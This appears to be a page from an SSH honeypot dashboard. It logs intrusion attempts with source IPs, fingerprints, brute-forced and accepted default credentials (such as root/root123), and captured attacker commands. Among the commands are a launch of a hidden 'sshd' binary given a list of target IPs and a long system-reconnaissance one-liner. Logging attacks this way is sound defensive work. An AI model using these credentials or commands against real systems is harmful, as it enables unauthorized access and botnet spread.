nonproductions.net banner
Logo
Subsystem: NO BONK

Adversarial Observation Interface

Page 1822 / 10048 (502358 total records)
Passive Observation Node - Active Operational Overview
2.57.121.112
2026-08-19 22:43:19.655724 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: sylvester

Record ID: fc0a339094ea
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.5s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "fc0a339094ea",
  "src_ip": "2.57.121.112",
  "start_time": "2026-08-19T22:43:19.655724Z",
  "end_time": "2026-08-19T22:43:26.175768Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "sylvester",
      "pass": "sylvester"
    },
    {
      "user": "sylvester",
      "pass": "sylvester1"
    },
    {
      "user": "sylvester",
      "pass": "sylvester123"
    },
    {
      "user": "sylvester",
      "pass": "sylvester1234"
    },
    {
      "user": "sylvester",
      "pass": "sylvester12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
217.60.255.130
2026-08-19 22:39:38.815198 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / Root

Record ID: c0de5adc1f27
Client Version: SSH-2.0-libssh_0.10.4
Engagement Duration: 2.1s
HASSH Fingerprint: 419da4c91ddbffebead14645bebc93b9
{
  "id": "c0de5adc1f27",
  "src_ip": "217.60.255.130",
  "start_time": "2026-08-19T22:39:38.815198Z",
  "end_time": "2026-08-19T22:39:40.927571Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.10.4",
  "hassh": "419da4c91ddbffebead14645bebc93b9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Root "
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
176.53.159.196
2026-08-19 22:34:08.694844 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 0966a74d1616
Client Version: SSH-2.0-Go
Engagement Duration: 1.2s
HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53
{
  "id": "0966a74d1616",
  "src_ip": "176.53.159.196",
  "start_time": "2026-08-19T22:34:08.694844Z",
  "end_time": "2026-08-19T22:34:09.863606Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
190.139.113.59
2026-08-19 22:23:47.250530 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7f31d4ab0241
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "7f31d4ab0241",
  "src_ip": "190.139.113.59",
  "start_time": "2026-08-19T22:23:47.250530Z",
  "end_time": "2026-08-19T22:23:47.253886Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
190.139.113.59
2026-08-19 22:22:13.551211 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0b814a5fc32b
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "0b814a5fc32b",
  "src_ip": "190.139.113.59",
  "start_time": "2026-08-19T22:22:13.551211Z",
  "end_time": "2026-08-19T22:22:13.554527Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
179.37.50.20
2026-08-19 22:18:20.892276 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f8671ee542d7
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "f8671ee542d7",
  "src_ip": "179.37.50.20",
  "start_time": "2026-08-19T22:18:20.892276Z",
  "end_time": "2026-08-19T22:18:20.895558Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
179.37.50.20
2026-08-19 22:17:28.943002 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 3235d03f08b0
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "3235d03f08b0",
  "src_ip": "179.37.50.20",
  "start_time": "2026-08-19T22:17:28.943002Z",
  "end_time": "2026-08-19T22:17:28.946068Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
139.19.117.130
2026-08-19 22:17:03.578192 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (2 distinct queries). Vector identities: admin

Record ID: 66682c64495d
Client Version: SSH-2.0-Go
Engagement Duration: 10.0s
HASSH Fingerprint: f1e5e9d24e5e345e8745613bde22d532
{
  "id": "66682c64495d",
  "src_ip": "139.19.117.130",
  "start_time": "2026-08-19T22:17:03.578192Z",
  "end_time": "2026-08-19T22:17:13.577514Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "f1e5e9d24e5e345e8745613bde22d532",
  "attempts": [
    {
      "user": "admin",
      "pass": null
    },
    {
      "user": "admin",
      "pass": null
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
192.168.0.1
2026-08-19 22:14:55.843310 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: af290efe8a89
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "af290efe8a89",
  "src_ip": "192.168.0.1",
  "start_time": "2026-08-19T22:14:55.843310Z",
  "end_time": "2026-08-19T22:14:55.854468Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
217.60.255.130
2026-08-19 22:12:42.606457 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / root123

Record ID: aea8cbad16af
Client Version: SSH-2.0-libssh_0.10.4
Engagement Duration: 3.2s
HASSH Fingerprint: 419da4c91ddbffebead14645bebc93b9
{
  "id": "aea8cbad16af",
  "src_ip": "217.60.255.130",
  "start_time": "2026-08-19T22:12:42.606457Z",
  "end_time": "2026-08-19T22:12:45.848425Z",
  "duration": "3.2",
  "version": "SSH-2.0-libssh_0.10.4",
  "hassh": "419da4c91ddbffebead14645bebc93b9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root123"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
147.185.132.76
2026-08-19 22:09:53.173028 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: dde56ed91ff6
Client Version: SSH-2.0-ZGrab ZGrab SSH Survey
Engagement Duration: 3.1s
HASSH Fingerprint: dd9bcf093c355da7000132131cb36fd0
{
  "id": "dde56ed91ff6",
  "src_ip": "147.185.132.76",
  "start_time": "2026-08-19T22:09:53.173028Z",
  "end_time": "2026-08-19T22:09:56.262137Z",
  "duration": "3.1",
  "version": "SSH-2.0-ZGrab ZGrab SSH Survey",
  "hassh": "dd9bcf093c355da7000132131cb36fd0",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
43.153.114.203
2026-08-19 22:06:28.122116 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ chmod +x ./.6335344173072655702/sshd;nohup ./.6335344173072655702/sshd 191.252.210.242 77.239.125.227 27.0.135.12 45.118.144.36 218.98.97.7 154.211.13.102 188.248.254.9 31.77.145.89 165.232.148.95 192.140.185.8 138.99.79.29 106.13.167.239 177.70.2.194 45.126.120.53 223.243.162.130 202.134.23.229 122.193.64.145 106.75.166.71 158.51.96.38 2.189.130.67 188.166.211.175 96.44.161.98 124.174.58.106 172.245.43.228 111.67.19.59 103.139.101.114 42.4.62.108 161.129.211.63 106.13.57.206 205.185.126.219 203.154.14.8 217.18.94.226 121.228.250.70 112.53.123.177 65.181.92.228 101.36.228.201 219.248.115.178 45.234.176.26 203.186.60.250 129.212.239.56 140.206.107.98 203.189.196.168 170.84.39.236 106.75.216.134 103.219.32.239 103.166.226.235 114.218.57.21 51.195.223.189 177.74.153.10 180.108.46.6 3.92.224.153 &
Record ID: d3f4dbedbbcc
Client Version: SSH-2.0-Go
Engagement Duration: 23.4s
HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6
{
  "id": "d3f4dbedbbcc",
  "src_ip": "43.153.114.203",
  "start_time": "2026-08-19T22:06:28.122116Z",
  "end_time": "2026-08-19T22:06:51.533881Z",
  "duration": "23.4",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu"
  },
  "commands": [
    "chmod +x ./.6335344173072655702/sshd;nohup ./.6335344173072655702/sshd 191.252.210.242 77.239.125.227 27.0.135.12 45.118.144.36 218.98.97.7 154.211.13.102 188.248.254.9 31.77.145.89 165.232.148.95 192.140.185.8 138.99.79.29 106.13.167.239 177.70.2.194 45.126.120.53 223.243.162.130 202.134.23.229 122.193.64.145 106.75.166.71 158.51.96.38 2.189.130.67 188.166.211.175 96.44.161.98 124.174.58.106 172.245.43.228 111.67.19.59 103.139.101.114 42.4.62.108 161.129.211.63 106.13.57.206 205.185.126.219 203.154.14.8 217.18.94.226 121.228.250.70 112.53.123.177 65.181.92.228 101.36.228.201 219.248.115.178 45.234.176.26 203.186.60.250 129.212.239.56 140.206.107.98 203.189.196.168 170.84.39.236 106.75.216.134 103.219.32.239 103.166.226.235 114.218.57.21 51.195.223.189 177.74.153.10 180.108.46.6 3.92.224.153 &"
  ],
  "detailed_commands": [
    {
      "cmd": "chmod +x ./.6335344173072655702/sshd;nohup ./.6335344173072655702/sshd 191.252.210.242 77.239.125.227 27.0.135.12 45.118.144.36 218.98.97.7 154.211.13.102 188.248.254.9 31.77.145.89 165.232.148.95 192.140.185.8 138.99.79.29 106.13.167.239 177.70.2.194 45.126.120.53 223.243.162.130 202.134.23.229 122.193.64.145 106.75.166.71 158.51.96.38 2.189.130.67 188.166.211.175 96.44.161.98 124.174.58.106 172.245.43.228 111.67.19.59 103.139.101.114 42.4.62.108 161.129.211.63 106.13.57.206 205.185.126.219 203.154.14.8 217.18.94.226 121.228.250.70 112.53.123.177 65.181.92.228 101.36.228.201 219.248.115.178 45.234.176.26 203.186.60.250 129.212.239.56 140.206.107.98 203.189.196.168 170.84.39.236 106.75.216.134 103.219.32.239 103.166.226.235 114.218.57.21 51.195.223.189 177.74.153.10 180.108.46.6 3.92.224.153 &",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
193.46.255.86
2026-08-19 22:03:32.957739 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / qweasdzxc123

Record ID: 50f360dc8d3f
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.0s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "50f360dc8d3f",
  "src_ip": "193.46.255.86",
  "start_time": "2026-08-19T22:03:32.957739Z",
  "end_time": "2026-08-19T22:03:38.976588Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "qweasdzxc123"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
223.181.77.193
2026-08-19 21:53:10.216319 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a316cdd67ddd
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "a316cdd67ddd",
  "src_ip": "223.181.77.193",
  "start_time": "2026-08-19T21:53:10.216319Z",
  "end_time": "2026-08-19T21:53:10.219674Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
223.181.77.193
2026-08-19 21:52:51.662132 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d247bb33a046
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "d247bb33a046",
  "src_ip": "223.181.77.193",
  "start_time": "2026-08-19T21:52:51.662132Z",
  "end_time": "2026-08-19T21:52:51.665473Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
176.53.159.196
2026-08-19 21:52:10.296458 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: bf5cfe11a974
Client Version: SSH-2.0-Go
Engagement Duration: 1.2s
HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53
{
  "id": "bf5cfe11a974",
  "src_ip": "176.53.159.196",
  "start_time": "2026-08-19T21:52:10.296458Z",
  "end_time": "2026-08-19T21:52:11.473346Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
123.58.209.194
2026-08-19 21:48:37.744012 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: efff7e883994
Client Version: SSH-2.0-Go
Engagement Duration: 15.0s
HASSH Fingerprint: 2aec6b44b06bec95d73f66b5d30cb69a
{
  "id": "efff7e883994",
  "src_ip": "123.58.209.194",
  "start_time": "2026-08-19T21:48:37.744012Z",
  "end_time": "2026-08-19T21:48:52.743889Z",
  "duration": "15.0",
  "version": "SSH-2.0-Go",
  "hassh": "2aec6b44b06bec95d73f66b5d30cb69a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
123.58.209.194
2026-08-19 21:48:37.364964 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ff69e7a53476
Client Version: Unknown
Engagement Duration: 0.8s
{
  "id": "ff69e7a53476",
  "src_ip": "123.58.209.194",
  "start_time": "2026-08-19T21:48:37.364964Z",
  "end_time": "2026-08-19T21:48:38.128801Z",
  "duration": "0.8",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
138.121.107.116
2026-08-19 21:46:40.886300 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c10efa21013a
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "c10efa21013a",
  "src_ip": "138.121.107.116",
  "start_time": "2026-08-19T21:46:40.886300Z",
  "end_time": "2026-08-19T21:46:40.889575Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
138.121.107.116
2026-08-19 21:46:20.983979 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 295178e0d736
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "295178e0d736",
  "src_ip": "138.121.107.116",
  "start_time": "2026-08-19T21:46:20.983979Z",
  "end_time": "2026-08-19T21:46:20.987761Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
217.60.255.130
2026-08-19 21:45:36.690349 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / root@123

Record ID: f9c01ca291c9
Client Version: SSH-2.0-libssh_0.10.4
Engagement Duration: 2.0s
HASSH Fingerprint: 419da4c91ddbffebead14645bebc93b9
{
  "id": "f9c01ca291c9",
  "src_ip": "217.60.255.130",
  "start_time": "2026-08-19T21:45:36.690349Z",
  "end_time": "2026-08-19T21:45:38.735139Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.10.4",
  "hassh": "419da4c91ddbffebead14645bebc93b9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root@123"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
20.65.194.111
2026-08-19 21:45:15.194201 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 19cb1befd2e0
Client Version: MGLNDD_184.98.6.225_22
Engagement Duration: 0.0s
{
  "id": "19cb1befd2e0",
  "src_ip": "20.65.194.111",
  "start_time": "2026-08-19T21:45:15.194201Z",
  "end_time": "2026-08-19T21:45:15.199741Z",
  "duration": "0.0",
  "version": "MGLNDD_184.98.6.225_22",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
20.65.194.111
2026-08-19 21:45:15.054328 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c79245733c7d
Client Version: SSH-2.0-Go
Engagement Duration: 10.0s
HASSH Fingerprint: 084386fa7ae5039bcf6f07298a05a227
{
  "id": "c79245733c7d",
  "src_ip": "20.65.194.111",
  "start_time": "2026-08-19T21:45:15.054328Z",
  "end_time": "2026-08-19T21:45:25.063106Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "084386fa7ae5039bcf6f07298a05a227",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
116.74.164.106
2026-08-19 21:40:33.235569 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 54321

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec
Record ID: 55aa1d03ea2c
Client Version: SSH-2.0-Go
Engagement Duration: 1.9s
HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6
{
  "id": "55aa1d03ea2c",
  "src_ip": "116.74.164.106",
  "start_time": "2026-08-19T21:40:33.235569Z",
  "end_time": "2026-08-19T21:40:35.091446Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "54321"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
2.57.121.25
2026-08-19 21:27:26.312223 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 3214

Record ID: 190012028b8b
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.0s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "190012028b8b",
  "src_ip": "2.57.121.25",
  "start_time": "2026-08-19T21:27:26.312223Z",
  "end_time": "2026-08-19T21:27:32.327608Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "3214"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
23.175.50.52
2026-08-19 21:19:23.822687 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: user / kisan

Record ID: 5c85bcb2dae5
Client Version: SSH-2.0-PuTTY_Release_0.70
Engagement Duration: 1.0s
HASSH Fingerprint: 0425c279610910d2d9aef3b285e59b86
{
  "id": "5c85bcb2dae5",
  "src_ip": "23.175.50.52",
  "start_time": "2026-08-19T21:19:23.822687Z",
  "end_time": "2026-08-19T21:19:24.861239Z",
  "duration": "1.0",
  "version": "SSH-2.0-PuTTY_Release_0.70",
  "hassh": "0425c279610910d2d9aef3b285e59b86",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "kisan"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
2.57.121.112
2026-08-19 21:18:57.103019 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: niklas

Record ID: 8fd3498f1792
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.5s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "8fd3498f1792",
  "src_ip": "2.57.121.112",
  "start_time": "2026-08-19T21:18:57.103019Z",
  "end_time": "2026-08-19T21:19:03.636950Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "niklas",
      "pass": "niklas"
    },
    {
      "user": "niklas",
      "pass": "niklas1"
    },
    {
      "user": "niklas",
      "pass": "niklas123"
    },
    {
      "user": "niklas",
      "pass": "niklas1234"
    },
    {
      "user": "niklas",
      "pass": "niklas12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
217.60.255.130
2026-08-19 21:17:37.701052 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / root

Record ID: f6e465d6a145
Client Version: SSH-2.0-libssh_0.10.4
Engagement Duration: 2.5s
HASSH Fingerprint: 419da4c91ddbffebead14645bebc93b9
{
  "id": "f6e465d6a145",
  "src_ip": "217.60.255.130",
  "start_time": "2026-08-19T21:17:37.701052Z",
  "end_time": "2026-08-19T21:17:40.225700Z",
  "duration": "2.5",
  "version": "SSH-2.0-libssh_0.10.4",
  "hassh": "419da4c91ddbffebead14645bebc93b9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
139.19.117.130
2026-08-19 21:17:02.120792 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (2 distinct queries). Vector identities: admin

Record ID: ceae74043ec0
Client Version: SSH-2.0-Go
Engagement Duration: 10.0s
HASSH Fingerprint: f1e5e9d24e5e345e8745613bde22d532
{
  "id": "ceae74043ec0",
  "src_ip": "139.19.117.130",
  "start_time": "2026-08-19T21:17:02.120792Z",
  "end_time": "2026-08-19T21:17:12.120122Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "f1e5e9d24e5e345e8745613bde22d532",
  "attempts": [
    {
      "user": "admin",
      "pass": null
    },
    {
      "user": "admin",
      "pass": null
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
193.32.162.15
2026-08-19 21:09:25.757546 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 200

Credential acceptance event recorded. Target authentication: root / root123

Remote entity achieved interactive shell state. Command sequence (9 executed):

[obs-node]:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"
[obs-node]:~$ uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ /bin/uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ /usr/bin/uname -s -v -n -m 2 > /dev/null
Command not found: /usr/bin/uname -s -v -n -m
[obs-node]:~$ busybox uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ ( [ -f /proc/version ]
[obs-node]:~$ [ -f /proc/version ]
